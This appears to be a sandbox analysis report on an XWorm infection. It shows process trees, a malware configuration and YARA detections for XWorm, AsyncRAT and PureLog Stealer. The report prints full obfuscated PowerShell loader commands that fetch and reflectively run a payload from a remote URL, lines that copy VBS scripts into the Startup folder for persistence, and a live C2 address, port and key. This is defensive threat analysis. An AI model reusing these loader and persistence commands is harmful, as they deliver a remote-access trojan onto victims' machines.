powershell.exe (PID: 4476 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5420 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

wscript.exe (PID: 5168 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7856 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6272 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

wscript.exe (PID: 6708 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8384 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3472 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 8704 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3884 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2144 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

CasPol.exe (PID: 3200 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cmd.exe (PID: 8500 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6240 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8684 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7548 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7132 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8176 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3748 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 5544 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8012 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4128 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

CasPol.exe (PID: 7228 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["135.224.23.113"], "Port": "5555", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6a7c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6b19:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6c2e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x68ee:$cnc4: POST / HTTP/1.1
00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x72dc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7379:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12bb9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x748e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12cce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x714e:$cnc4: POST / HTTP/1.1 0x1298e:$cnc4: POST / HTTP/1.1
00000012.00000002.1728472486.000001AF2930E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
